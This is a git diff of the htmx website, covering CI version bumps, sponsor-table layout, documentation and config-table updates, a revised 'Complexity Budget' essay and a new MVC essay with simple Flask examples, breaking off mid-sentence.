summaryrefslogtreecommitdiffstatshomepage
diff options
context:
space:
mode:
-rw-r--r--.github/workflows/ci.yml4
-rw-r--r--CHANGELOG.md2
-rw-r--r--www/content/_index.md53
-rw-r--r--www/content/attributes/hx-boost.md1
-rw-r--r--www/content/attributes/hx-validate.md2
-rw-r--r--www/content/docs.md52
-rw-r--r--www/content/essays/_index.md3
-rw-r--r--www/content/essays/complexity-budget.md78
-rw-r--r--www/content/essays/is-htmx-another-javascript-framework.md4
-rw-r--r--www/content/essays/mvc.md210
-rw-r--r--www/content/essays/two-approaches-to-decoupling.md2
-rw-r--r--www/content/essays/web-security-basics-with-htmx.md322
-rw-r--r--www/content/examples/_index.md3
-rw-r--r--www/content/examples/async-auth.md55
-rw-r--r--www/content/examples/bulk-update.md203
-rw-r--r--www/content/examples/edit-row.md4
-rw-r--r--www/content/examples/value-select.md1
-rw-r--r--www/content/extensions/server-sent-events.md1
-rw-r--r--www/content/migration-guide-hotwire-turbo.md20
-rw-r--r--www/content/posts/2023-09-22-htmx-1.9.6-is-released.md2
-rw-r--r--www/content/reference.md18
-rw-r--r--www/content/server-examples.md12
-rw-r--r--www/content/talk/podcasts.csv3
-rw-r--r--www/content/webring.md2
-rw-r--r--www/static/img/bss-logo.pngbin0 -> 36058 bytes
-rw-r--r--www/static/img/codacy.svg21
-rw-r--r--www/static/img/codereviewbot.svg22
-rw-r--r--www/static/img/llc-org.svg12
-rw-r--r--www/static/img/ohne-makler.svg1
-rw-r--r--www/static/img/rxdb.svg1
-rw-r--r--www/templates/shortcodes/demoenv.html5
-rw-r--r--www/themes/htmx-theme/static/css/site.css8
32 files changed, 964 insertions, 163 deletions
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index ad003516..a1dc09a9 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -10,9 +10,9 @@ jobs:
test_suite:
runs-on: ubuntu-22.04
steps:
- - uses: actions/checkout@v3
+ - uses: actions/checkout@v4
- name: Use Node.js
- uses: actions/setup-node@v3
+ uses: actions/setup-node@v4
with:
node-version: '15.x'
- run: npm ci
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 8309ad66..6a91b429 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -40,7 +40,7 @@
## [1.9.6] - 2023-09-22
* IE support has been restored (thank you @telroshan!)
-* Introduced the `hx-disabled-elt` attribute to allow specifing elements to disable during a request
+* Introduced the `hx-disabled-elt` attribute to allow specifying elements to disable during a request
* You can now explicitly decide to ignore `title` tags found in new content via the `ignoreTitle` option in `hx-swap` and the `htmx.config.ignoreTitle` configuration variable.
* `hx-swap` modifiers may be used without explicitly specifying the swap mechanism
* Arrays are now supported in the `client-side-templates` extension
diff --git a/www/content/_index.md b/www/content/_index.md
index f5f3fa76..771233ff 100644
--- a/www/content/_index.md
+++ b/www/content/_index.md
@@ -27,12 +27,12 @@ IE11 compatible & has **reduced** code base sizes by [67% when compared with rea
<h2>motivation</h2>
-* Why should only [`<a>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a) and [`<form>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form) be able to make HTTP requests?
+* Why should only [`<a>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a) & [`<form>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/form) be able to make HTTP requests?
* Why should only [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) & [`submit`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement/submit_event) events trigger them?
* Why should only [`GET`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET) & [`POST`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST) methods be [available](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods)?
* Why should you only be able to replace the **entire** screen?
-By removing these arbitrary constraints, htmx completes HTML as a [hypertext](https://en.wikipedia.org/wiki/Hypertext)
+By removing these constraints, htmx completes HTML as a [hypertext](https://en.wikipedia.org/wiki/Hypertext)
<h2>quick start</h2>
@@ -75,6 +75,7 @@ Thank you to all our generous <a href="https://github.com/sponsors/bigskysoftwar
text-align: center;
padding: 16px;
min-height: 100px;
+ border-bottom: none;
}
@media only screen and (max-width: 760px) {
@@ -90,26 +91,25 @@ Thank you to all our generous <a href="https://github.com/sponsors/bigskysoftwar
<div style="overflow-x: auto">
<table id="sponsor-table">
<tr>
-<td colspan="2">
+<td colspan="3">
<a href="https://hydrahost.com"><img src="/img/hydra-hosting.svg" alt="The GPU Marketplace" style="width:100%;"></a>
</td>
-<tr>
+</tr>
<tr>
<td>
- <a href="https://www.jetbrains.com"><img src="/img/jetbrains.png" alt="Jetbrains" style="max-width:30%;min-width:200px;"></a>
+ <a href="https://www.jetbrains.com"><img src="/img/jetbrains.png" alt="Jetbrains" style="max-width:30%;min-width:100px;"></a>
</td>
<td>
- <a href="https://github.blog/2023-04-12-github-accelerator-our-first-cohort-and-whats-next"><img src="/img/Github_Logo.png" alt="GitHub" style="max-width:30%;min-width:200px;"></a>
+ <a href="https://www.commspace.co.za"><img src="/img/commspace.svg" alt="commspace" style="min-width:200px"></a>
</td>
-<tr>
<td>
- <a href="https://www.commspace.co.za"><img src="/img/commspace.svg" alt="commspace" style="width:100%;max-width:400px"></a>
+ <a href="https://github.blog/2023-04-12-github-accelerator-our-first-cohort-and-whats-next"><img src="/img/Github_Logo.png" alt="GitHub" style="max-width:30%;min-width:100px;"></a>
</td>
+</tr>
+<tr>
<td>
<a href="https://craftcms.com"><img src="/img/logo-craft-cms.svg" alt="craft cms" style="width:90%;max-width:200px"></a>
</td>
-</tr>
-<tr>
<td>
<a href="https://buttercms.com/?utm_campaign=sponsorship&utm_medium=banner&utm_source=htmxhome">
<img src="/img/butter-cms.svg" alt="ButterCMS" style="width:100%;max-width:200px">
@@ -130,20 +130,18 @@ Thank you to all our generous <a href="https://github.com/sponsors/bigskysoftwar
<td>
<a href="https://twitter.com/sekunho_/"><img src="/img/sekun-doggo.jpg" alt="Hiro The Doggo" style="border: 2px solid lightgray; border-radius:20px; width:100%;max-width:150px"></a>
</td>
-</tr>
-<tr>
<td>
<a href="https://www.dasfilter.shop/">
- <img alt="Das Filter" src="/img/das-filter.png" style="width:100%;max-width:200px">
+ <img alt="Das Filter" src="/img/das-filter.png" style="width:100%;max-width:300px">
</a>
</td>
+</tr>
+<tr>
<td>
<a href="https://www.pullapprove.com/?utm_campaign=sponsorship&utm_medium=banner&utm_source=htmx">
<img src="/img/pullapprove-logo.svg" alt="PullApprove" style="width:100%;max-width:200px">
</a>
</td>
-</tr>
-<tr>
<td>
<a href=" https://transloadit.com/?utm_source=htmx&utm_medium=referral&utm_campaign=sponsorship&utm_content=website/">
<img alt="Transloadit" src="/img/logos-transloadit-default.svg" style="width:100%;max-width:200px">
@@ -160,7 +158,30 @@ Thank you to all our generous <a href="https://github.com/sponsors/bigskysoftwar
</a>
</td>
<td>
- <a href="https://bigsky.software"><img src="/img/bss.png" alt="Big Sky Software" style="width:100%;max-width:150px"></a>
+ <a href="https://rxdb.info/?utm_source=sponsor&utm_medium=githubsponsor&utm_campaign=githubsponsor-htmx">
+ <img src="/img/rxdb.svg" alt="RxDB JavaScript Database" style="width:100%;max-width:150px"></a>
+</td>
+<td>
+ <a href="https://www.ohne-makler.net/"><img src="/img/ohne-makler.svg" alt="Ohne-Makler" style="width:100%;max-width:150px"></a>
+</td>
+</tr>
+<tr>
+<td>
+ <a href="https://www.codacy.com//">
+ <img alt="Deepsource" src="/img/codacy.svg" style="width:100%;max-width:250px">
+ </a>
+</td>
+<td>
+ <a href="https://codereviewbot.ai/">
+ <img alt="AI Code Review Bot" src="/img/codereviewbot.svg" style="width:100%;max-width:250px">
+ </a>
+</td>
+<td>
+ <a href="https://www.llc.org/">
+ <img alt="How to start an LLC - a guide from LLC.org, proud open source sponsor" src="/img/llc-org.svg" style="width:100%;max-width:250px">
+ </a>
+</td>
+<td>
</td>
</tr>
</table>
diff --git a/www/content/attributes/hx-boost.md b/www/content/attributes/hx-boost.md
index 4e428dd6..38dfde3b 100644
--- a/www/content/attributes/hx-boost.md
+++ b/www/content/attributes/hx-boost.md
@@ -44,3 +44,4 @@ This form will issue an ajax `POST` to the given URL and replace the body's inne
* All requests are done via AJAX, so keep that in mind when doing things like redirects
* To find out if the request results from a boosted anchor or form, look for [`HX-Boosted`](@/reference.md#request_headers) in the request header
* Selectively disable boost on child elements with `hx-boost="false"`
+* Disable the replacement of elements via boost, and their children, with [`hx-preserve="true"`](@/attributes/hx-preserve.md)
diff --git a/www/content/attributes/hx-validate.md b/www/content/attributes/hx-validate.md
index 2a92714a..355f7d47 100644
--- a/www/content/attributes/hx-validate.md
+++ b/www/content/attributes/hx-validate.md
@@ -5,7 +5,7 @@ title = "hx-validate"
The `hx-validate` attribute will cause an element to validate itself by way of the [HTML5 Validation API](@/docs.md#validation)
before it submits a request.
-Form elements do this by default, but other elements do not.
+Only `<form>` elements validate data by default, but other elements do not. Adding `hx-validate="true"` to `<input>`, `<textarea>` or `<select>` enables validation before sending requests.
## Notes
diff --git a/www/content/docs.md b/www/content/docs.md
index d004350b..0fa82bc6 100644
--- a/www/content/docs.md
+++ b/www/content/docs.md
@@ -874,6 +874,41 @@ attribute to specify a different one.
Careful: this element will need to be on all pages or restoring from history won't work reliably.
+### Undoing DOM Mutations By 3rd Party Libraries
+
+If you are using a 3rd party library and want to use the htmx history feature, you will need to clean up the DOM before
+a snapshot is taken. Let's consider the [Tom Select](https://tom-select.js.org/) library, which makes select elements
+a much richer user experience. Let's set up TomSelect to turn any input element with the `.tomselect` class into a rich
+select element.
+
+First we need to initialize elements that have the class in new content:
+
+```javascript
+htmx.onLoad(function (target) {
+ // find all elements in the new content that should be
+ // an editor and init w/ quill
+ var editors = target.querySelectorAll(".tomselect")
+ .forEach(elt => new TomSelect(elt))
+});
+```
+
+This will create a rich selector for all input elements that have the `.tomselect` class on it. However, it mutates
+the DOM and we don't want that mutation saved to the history cache, since TomSelect will be reinitialized when the
+history content is loaded back into the screen.
+
+To deal with this, we need to catch the `htmx:beforeHistorySave` event and clean out the TomSelect mutations by calling
+`destroy()` on them:
+
+```javascript
+htmx.on('htmx:beforeHistorySave', function() {
+ // find all TomSelect elements
+ document.querySelectorAll('.tomSelect')
+ .forEach(elt => elt.tomselect.destroy()) // and call destroy() on them
+})
+```
+
+This will revert the DOM to the original HTML, thus allowing for a clean snapshot.
+
### Disabling History Snapshots
History snapshotting can be disabled for a URL by setting the [hx-history](@/attributes/hx-history.md) attribute to `false`
@@ -1227,11 +1262,7 @@ Here is an example of the code in action:
## Scripting {#scripting}
-While htmx encourages a hypermedia-based approach to building web applications, it does not preclude scripting and
-offers a few mechanisms for integrating scripting into your web application. Scripting was explicitly included in
-the REST-ful description of the web architecture in the [Code-On-Demand](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7)
-section. As much as is feasible, we recommend a [hypermedia-friendly](/essays/hypermedia-friendly-scripting) approach
-to scripting in your htmx-based web application:
+While htmx encourages a hypermedia approach to building web applications, it offers many options for client scripting. Scripting is included in the REST-ful description of web architecture, see: [Code-On-Demand](https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_7). As much as is feasible, we recommend a [hypermedia-friendly](/essays/hypermedia-friendly-scripting) approach to scripting in your web application:
* [Respect HATEOAS](/essays/hypermedia-friendly-scripting#prime_directive)
* [Use events to communicate between components](/essays/hypermedia-friendly-scripting#events)
@@ -1562,16 +1593,21 @@ listed below:
| `htmx.config.allowEval` | defaults to `true`, can be used to disable htmx's use of eval for certain features (e.g. trigger filters) |
| `htmx.config.allowScriptTags` | defaults to `true`, determines if htmx will process script tags found in new content |
| `htmx.config.inlineScriptNonce` | defaults to `''`, meaning that no nonce will be added to inline scripts |
+| `htmx.config.attributesToSettle` | defaults to `["class", "style", "width", "height"]`, the attributes to settle during the settling phase |
| `htmx.config.useTemplateFragments` | defaults to `false`, HTML template tags for parsing content from the server (not IE11 compatible!) |
| `htmx.config.wsReconnectDelay` | defaults to `full-jitter` |
-| `htmx.config.disableSelector` | defaults to `[disable-htmx], [data-disable-htmx]`, htmx will not process elements with this attribute on it or a parent |
-| `htmx.config.timeout` | defaults to 0 in milliseconds |
+| `htmx.config.wsBinaryType` | defaults to `blob`, the [the type of binary data](https://developer.mozilla.org/docs/Web/API/WebSocket/binaryType) being received over the WebSocket connection |
+| `htmx.config.disableSelector` | defaults to `[hx-disable], [data-hx-disable]`, htmx will not process elements with this attribute on it or a parent |
+| `htmx.config.withCredentials` | defaults to `false`, allow cross-site Access-Control requests using credentials such as cookies, authorization headers or TLS client certificates |
+| `htmx.config.timeout` | defaults to 0, the number of milliseconds a request can take before automatically being terminated |
+| `htmx.config.scrollBehavior` | defaults to 'smooth', the behavior for a boosted link on page transitions. The allowed values are `auto` and `smooth`. Smooth will smoothscroll to the top of the page while auto will behave like a vanilla link. |
| `htmx.config.defaultFocusScroll` | if the focused element should be scrolled into view, defaults to false and can be overridden using the [focus-scroll](@/attributes/hx-swap.md#focus-scroll) swap modifier. |
| `htmx.config.getCacheBusterParam` | defaults to false, if set to true htmx will include a cache-busting parameter in `GET` requests to avoid caching partial responses by the browser |
| `htmx.config.globalViewTransitions` | if set to `true`, htmx will use the [View Transition](https://developer.mozilla.org/en-US/docs/Web/API/View_Transitions_API) API when swapping in new content. |
-| `htmx.config.methodsThatUseUrlParams` | defaults to `["get"]`, htmx will format requests with this method by encoding their parameters in the URL, not the request body |
+| `htmx.config.methodsThatUseUrlParams` | defaults to `["get"]`, htmx will format requests with these methods by encoding their parameters in the URL, not the request body |
| `htmx.config.selfRequestsOnly` | defaults to `false`, if set to `true` will only allow AJAX requests to the same domain as the current document |
| `htmx.config.ignoreTitle` | defaults to `false`, if set to `true` htmx will not update the title of the document when a `title` tag is found in new content |
+| `htmx.config.scrollIntoViewOnBoost` | defaults to `true`, whether or not the target of a boosted element is scrolled into the viewport. If `hx-target` is omitted on a boosted element, the target defaults to `body`, causing the page to scroll to the top. |
| `htmx.config.triggerSpecsCache` | defaults to `null`, the cache to store evaluated trigger specifications into, improving parsing performance at the cost of more memory usage. You may define a simple object to use a never-clearing cache, or implement your own system using a [proxy object](https://developer.mozilla.org/docs/Web/JavaScript/Reference/Global_Objects/Proxy) |
</div>
diff --git a/www/content/essays/_index.md b/www/content/essays/_index.md
index 79b2f336..99caa7fb 100644
--- a/www/content/essays/_index.md
+++ b/www/content/essays/_index.md
@@ -28,12 +28,14 @@ page_template = "essay.html"
### Building Hypermedia Applications
* [A Real World React to htmx Port](@/essays/a-real-world-react-to-htmx-port.md)
* [Another Real World React to htmx Port](@/essays/another-real-world-react-to-htmx-port.md)
+* [Web Security Basics (with htmx)](@/essays/web-security-basics-with-htmx.md)
* [Hypermedia-Driven Applications (HDAs)](@/essays/hypermedia-driven-applications.md)
* [Hypermedia Friendly Scripting](@/essays/hypermedia-friendly-scripting.md)
* [10 Tips For Building SSR/HDA applications](@/essays/10-tips-for-SSR-HDA-apps.md)
* [Why I Tend Not To Use Content Negotiation](@/essays/why-tend-not-to-use-content-negotiation.md)
* [Template Fragments](@/essays/template-fragments.md)
* [View Transitions](@/essays/view-transitions.md)
+* [Model/View/Controller](@/essays/mvc.md)
### Complexity Very Very Bad
* [The Grug Brained Developer](https://grugbrain.dev)
@@ -41,6 +43,7 @@ page_template = "essay.html"
* [Complexity Budget](@/essays/complexity-budget.md)
* [Why htmx Does Not Have a Build Step](@/essays/no-build-step.md)
* [Is htmx Just Another JavaScript Framework?](@/essays/is-htmx-another-javascript-framework.md)
+* [htmx Implementation Deep Dive (Video)](https://www.youtube.com/watch?v=javGxN-h9VQ)
## Banners
<div style="text-align: center;margin:32px">
diff --git a/www/content/essays/complexity-budget.md b/www/content/essays/complexity-budget.md
index bc1e5f50..6010c4c9 100644
--- a/www/content/essays/complexity-budget.md
+++ b/www/content/essays/complexity-budget.md
@@ -1,44 +1,65 @@
+++
title = "Complexity Budget"
date = 2020-10-29
-updated = 2022-02-06
+updated = 2024-01-21
[taxonomies]
author = ["Carson Gross"]
tag = ["posts"]
+++
-Every application involves managing a complexity budget. A complexity budget can be defined as:
+Every software project involves managing a complexity budget.
+
+A complexity budget can be defined as:
> An explicit or implicit allocation of complexity across the entire application
"Complexity" here is defined subjectively (rather than [formally](https://en.wikipedia.org/wiki/Programming_complexity))
-and in [Stewartian Terms](https://en.wikipedia.org/wiki/I_know_it_when_I_see_it): "I know it when I see it." Or, more
-specifically to software development, "I know it when I *feel* it."
+and in [Stewartian Terms](https://en.wikipedia.org/wiki/I_know_it_when_I_see_it): "I know it when I see it."
+
+Or, more specifically to software development: "I know it when I *feel* it."
-One of the primary jobs of an application architect is to manage a complexity budget:
+One of the primary jobs of an application architect is to manage a projects complexity budget:
* Decide if a given feature is "worth it"
* Decide if a given implementation is "worth it"
-* Add in appropriate system boundaries to limit complexity between component
-* Etc.
+* Add appropriate system boundaries to limit complexity between components
+* And so on
+
+An infuriating aspect of complexity is that that attempts to address it can, in fact, add more complexity.
+
+A good example of this from experience was when a company I worked at added [OSGi](https://en.wikipedia.org/wiki/OSGi) to the system to manage the
+increasing complexity of the project. It seemed like a reasonable approach,
+it offered a sophisticated [module](https://www.osgi.org/resources/what-is-osgi/) system,
+it was recommended by a newly hired architect, and it even says on the "What is OSGI page":
+
+> OSGi significantly reduces complexity in almost all aspects of development: code is easier to write and test, reuse is
+> increased, build systems become significantly simpler, deployment is more manageable, bugs are detected early, and
+> the runtime provides an enormous insight into what is running.
-Note that attempting to address complexity can, in fact, add more complexity. A good example of this, from experience
-is [OSGi](https://en.wikipedia.org/wiki/OSGi), which when applied to an application I was working on, made things
-*far more complex*, grinding development to a halt. (This is not to say OSGi is universally bad, just that in this
-case, rather than boosting developer productivity, it effectively ended it.)
+What's not to like?
-A good software architect is someone who manages their software budget effectively, either explicitly or implicitly
+Unfortunately, adding OSGi to that project effectively ground the entire project to a halt: it took a few of our best
+engineers out of normal application development for over a year, and when they were done the codebase was even more
+difficult to work with than when they started. Feature velocity, already teetering, collapsed.
+
+This is not to say OSGi is universally bad. But, in this case, rather than boosting our development teams productivity,
+it effectively ended it.
+
+A good software architect is someone who manages the software budget of their project effectively, either explicitly or
+implicitly.
## Complexity Growth
-I assert, without evidence, that Stewartian Application Complexity grows roughly geometrically with the size of an
-application. By proper factoring by experienced developers, this curve can be held down for quite some time, and this
-is one major reason why many good developers are so much more productive than others.
+My sense, admittedly without hard evidence, is that Stewartian Application Complexity grows roughly geometrically with
+the size of an application. Proper [factoring](https://en.wikipedia.org/wiki/Decomposition_(computer_science)) by
+experienced developers can hold this curve down for quite some time.
+
+However, this doesn't change the fact that, somewhere out there, there is a Complexity Wall lurking.
-However, this doesn't change the fact that, somewhere out there, there is a Complexity Wall lurking and, if you aren't
-careful you will run into it and grind development to a halt. I have had multiple experiences with this: one day,
-inexplicably, development on a system that I was working on went from feeling "large, but manageable" to
-"this is impossible to deal with".
+And, if you aren't careful, you will run headlong into it and grind your development velocity to a halt.
+
+I have had multiple experiences with this: one day, inexplicably, development on a system that I was working on went
+from feeling "large, but manageable" to "this is impossible to deal with".
## Spending Your Complexity Budget Wisely
@@ -47,23 +68,24 @@ Here are some tools for managing your complexity budget:
1. Foremost: understanding that there *is* a complexity budget that needs to be managed
1. Focus your "complexity spend" on the areas where your application is adding value and/or differentiates itself
1. Saying "No" - probably the easiest, best and, also, hardest tool to use in your battle with complexity
-1. Embracing [KISS](https://en.wikipedia.org/wiki/KISS_principle), even if it means admitting you are stupid (It's often very good for an organization if the senior developers can admit they are fallible)
+1. Embracing [KISS](https://en.wikipedia.org/wiki/KISS_principle), even if it means admitting you are stupid (Note that it's often very good for an organization if the senior developers can admit they are fallible)
1. Proper factoring of components - this is an art: Too many components and your complexity explodes. Too few... same.
1. Choosing the proper balance of expressiveness and restrictions for a component
-Unfortunately, experience shows that managing Stewartian Complexity is a subjective endeavor, and many talented and
+Unfortunately, experience shows that managing Stewartian Complexity is a subjective endeavor and that many talented and
experience developers will disagree on the proper course of action at a given decision point.
-None the less, by making the concept of a complexity budget explicit, these conversations can be more productive and
-ultimately lead to better software outcomes.
+Nonetheless, by making the concept of a complexity budget explicit in your software project, these conversations can be
+more productive and ultimately lead to better software outcomes.
## A Final Note
-All mature applications are complex.
+Almost all mature applications are complex.
-Finding a new codebase "complex" is *not* an excuse for tearing everything
-apart or aggressive refactoring. We must always bear in mind [Chesterton's Fence](https://fs.blog/2020/03/chestertons-fence/).
+Finding a new codebase "complex" is *not* an excuse for tearing everything apart or aggressive refactoring. We must always bear in mind [Chesterton's Fence](https://fs.blog/2020/03/chestertons-fence/).
If an application is functioning well (or even reasonably) then we should assume that the complexity budget was well
-(or reasonably) managed. And we must also bear in mind that, with unfortunate frequency, attempts at addressing complexity
-in existing, large applications often fail or, sadly, make things worse.
+(or at least reasonably) managed.
+
+And we must always remember that, with unfortunate frequency, big attempts at addressing complexity in existing, large
+applications often fail or, sadly, make things worse.
diff --git a/www/content/essays/is-htmx-another-javascript-framework.md b/www/content/essays/is-htmx-another-javascript-framework.md
index 884fcce2..d5917d61 100644
--- a/www/content/essays/is-htmx-another-javascript-framework.md
+++ b/www/content/essays/is-htmx-another-javascript-framework.md
@@ -10,7 +10,7 @@ One of the most common criticisms of htmx, usually from people hearing about it
>You're complaining about the complexity of modern frontend frameworks, but your solution is just another complex frontend framework.
-This is an excellent objection! It's the right to question to ask about *any* third-party (3P) code that you introduce into your project. Even though you aren't writing the 3P code yourself, by including it in your project you are committed to understanding it—and refreshing that understanding if you want to upgrade it. That's a big commitment.
+This is an excellent objection! It's the right question to ask about *any* third-party (3P) code that you introduce into your project. Even though you aren't writing the 3P code yourself, by including it in your project you are committed to understanding it—and refreshing that understanding if you want to upgrade it. That's a big commitment.
Let's break this criticism down into its constituent parts, and determine exactly how much htmx indulges in the harms it claims to solve.
@@ -66,7 +66,7 @@ Pushing the user to define the behavior of their application primarily in HTML,
No matter when you wrote your htmx application, however, the behavior of an htmx form has always been defined in largely the same way a regular HTML form is: with `<form>`. With htmx adding additional network functionality, you can finally use `PUT` requests and control where the response goes, but in all other respects—validation, inputs, labels, autocomplete—you have default `<form>` element behavior.
-Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the "htmx" you write is just plain old HTML. When you have access to complex state management mechanisms, it's incredibly easy to implement a custom collapsable div; when you don't, you might stop long enough to search up the [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does.
+Finally, because htmx simply extends HTML in a very narrow domain (network requests and DOM replacements), most of the "htmx" you write is just plain old HTML. When you have access to complex state management mechanisms, it's incredibly easy to implement a custom collapsible div; when you don't, you might stop long enough to search up the [`<details>`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/details) element. Whenever a problem can be solved by native HTML elements, the longevity of the code improves tremendously as a result. This is a much less alienating way to learn web development, because the bulk of your knowledge will remain relevant as long as HTML does.
In this respect, htmx is much more like JQuery than React (htmx's predecessor, [intercooler.js](https://intercoolerjs.org/), was a JQuery extension), but it improves on JQuery by using a declarative, HTML-based interface: where JQuery made you go to the `<script>` tag to specify AJAX behavior, htmx requires only a simple `hx-post` attribute.
diff --git a/www/content/essays/mvc.md b/www/content/essays/mvc.md
new file mode 100644
index 00000000..f27c7df9
--- /dev/null
+++ b/www/content/essays/mvc.md
@@ -0,0 +1,210 @@
++++
+title = "Model/View/Controller (MVC)"
+date = 2024-01-16
+updated = 2024-01-16
+[taxonomies]
+author = ["Carson Gross"]
+tag = ["posts"]
++++
+
+A common objection I see to using htmx and hypermedia is something along the lines of:
+
+> The problem with returning HTML (and not JSON) from your server is that you'd probably also like to serve mobile
+> apps and don't want to duplicate your API
+
+I have already outlined in [another essay](@/essays/splitting-your-apis.md) that I think you should split your JSON API & your
+hypermedia API up into separate components.
+
+In that essay I explicitly recommend "duplicating" (to an extent) your API, in order to
+disentangle your "churny" web application API endpoints that return HTML from your
+stable, regular & expressive JSON Data API.
+
+In looking back at conversations I've had around this idea with people, I think that I have been assuming familiarity
+with a pattern that many people are not as familiar with as I am: the
+[Model/View/Controller](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller) (MVC)
+pattern.
+
+## An MVC Intro
+
+I was a little shocked to discover [in a recent podcast](https://www.youtube.com/watch?v=9H5VK9vJ-aw) that many younger
+web developers just don't have much experience with MVC. This is perhaps due to the Front-end/Back-end split that occurred when Single Page Applications became the norm.
+
+MVC is a simple pattern that predates the web and can be with nearly any program that offers a graphical interface
+to a user.
+
+The rough idea is as follows:
+
+* A "Model" layer contains your ["Domain Model"](https://en.wikipedia.org/wiki/Domain_model). This layer contains the
+ domain logic specific to the application. So, for example, a contact management application will have contact-related
+ logic in this layer. It will not have references to visual elements in it, and should be relatively "pure".
+
+* A "View" layer contains the "view" or visual elements that are presented to the user. This layer often (although not always)
+ works with model values to present visual information to the user.
+
+* Finally, a "Controller" layer, which coordinates these two layers: for example it might receive an update from a user,
+ update a Model and then pass the updated model to a View to display an update user interface to the user.
+
+There are a lot of variations, but that's the idea.
+
+Early on in web development many server side frameworks explicitly adopted the MVC pattern. The implementation
+that I'm most familiar with is [Ruby On Rails](https://rubyonrails.org/), which has documentation on each of these
+topics: [Models](https://guides.rubyonrails.org/active_record_basics.html) that are persisted to the database,
+[Views](https://guides.rubyonrails.org/action_view_overview.html) for generating HTML views, and
+[Controllers](https://guides.rubyonrails.org/action_controller_overview.html) that coordinate between the two.
+
+The rough idea, in Rails, is:
+
+* Models collect your application logic and database accesses
+* Views take Models and generate HTML via a templating language ([ERB](https://github.com/ruby/erb), this is where [HTML sanitizing](https://en.wikipedia.org/wiki/HTML_sanitization) is done, btw)
+* Controllers take HTTP Requests and, typically, perform some action with a Model and then pass that Model on to a
+ View (or redirect, etc.)
+
+Rails has a fairly standard (although somewhat "shallow" and simplified) implementation of the MVC pattern, built on
+top of the underlying HTML, HTTP Request/Response lifecycle.
+
+### Fat Model/Skinny Controller
+
+One concept that came up a lot in the Rails community was the notion of
+["Fat Model, Skinny Controller"](https://riptutorial.com/ruby-on-rails/example/9609/fat-model--skinny-controller). The
+idea here is that your Controllers should be relatively simple, only maybe invoking
+a method or two on the Model and then immediately handing the result on to a View.
+
+The Model, on the other hand, could be much "thicker" with lots of domain specific logic. (There are objections
+that this leads to [God Objects](https://en.wikipedia.org/wiki/God_object), but let's set that aside for now.)
+
+Let's keep this idea of fat model/skinny controller in mind as we work through a simple example of the MVC pattern and
+why it is useful.
+
+## An MVC-Style Web Application
+
+For our example, let's take a look at one of my favorites: an online Contacts application. Here is a Controller method
+for that application that displays a given page of Contacts by generating an HTML page:
+
+```python
+@app.route("/contacts")
+def contacts():
+ contacts = Contact.all(page=request.args.get('page', default=0, type=int))
+ return render_template("index.html", contacts=contacts)
+```
+
+Here I'm using [Python](https://www.python.org/) and [Flask](https://flask.palletsprojects.com/en/3.0.x/), since I use
+those in my [Hypermedia Systems](https://hypermedia.systems/) book.
+
+Here you can see that the controller is very "thin": it simply looks up contacts via the `Contact` Model object, passing
+a `page` argument in from the request.
+
+This is very typical: the Controllers job is to map an HTTP request into some domain logic, pulling HTTP-specific
+information out and turning it into data that the Model can understand, such as a page number.
+
+The controller then hands the paged collection of contacts on to the `index.html` template, to render them to
+an HTML page to send back to the user.
+
+Now, the `Contact` Model, on the other hand, may be relatively "fat" internally: that `all()` method could have a bunch
+of domain logic internally that does a database lookup, pages the data somehow, maybe applies some transformations or
+business rules, etc. And that would be fine, that logic is encapsulated within the Contact model and the Controller
+doesn't have to deal with it.
+
+### Creating A JSON Data API Controller
+
+So, if we have this relatively well-developed Contact model that encapsulates our domain, you can easily create a
+_different_ API end point/Controller that does something similar, but returns a JSON document rather than an HTML
+document:
+
+```python
+@app.route("/api/v1/contacts")
+def contacts():
+ contacts = Contact.all(page=request.args.get('page', default=0, type=int))
+ return jsonify(contacts=contacts)
+```
+
+### But You Are Duplicating Code!
+
+At this point, looking at these two controller functions, you may think "This is stupid, the methods are nearly identical".
+
+And you're right, currently they are nearly identical.
+
+But let's consider two potential additions to our system.
+
+#### Rate Limiting Our JSON API
+
+First, let's add rate limiting to the JSON API to prevent DDOS or badly written automated clients from swamping our
+system. We'll add the [Flask-Limiter](https://flask-limiter.readthedocs.io/en/stable/) library:
+
+```python
+@app.route("/api/v1/contacts")
+@limiter.limit("1 per second")
+def contacts():
+ contacts = Contact.all(page=request.args.get('page', default=0, type=int))
+ return jsonify(contacts=contacts)
+```
+
+Easy.
+
+But note: we don't want that limit applying to our web application, we just want it for our JSON Data API. And, because
+we've split the two up, we can achieve that.
+
+#### Adding A Graph To Our Web Application
+
+Let's consider another change: we want to add a graph of the number of contacts added per day to the `index.html`
+template in our HTML-based web application. It turns out that this graph is expensive to compute.
+
+We do not want to block the rendering of the `index.html` template on the graph generation, so we will use the
+[Lazy Loading](@/examples/lazy-load.md) pattern for it instead. To do this, we need to create a new endpoint, `/graph`,
+that returns the HTML for that lazily loaded content:
+
+```python
+@app.route("/graph")
+def graph():
+ graphInfo = Contact.computeGraphInfo(page=request.args.get('page', default=0, type=int))
+ return render_template("graph.html", info=graphInfo)
+```
+
+Note that here, again, our controller is still "thin": it just delegates out to the Model and then hands the results on
+to a View.
+
+What's easy to miss is that we've added a new endpoint to our web application HTML API, but _we haven't added it to
+our JSON Data API_. So we are **not** committing to other non-web clients that this (specialized) endpoint, which
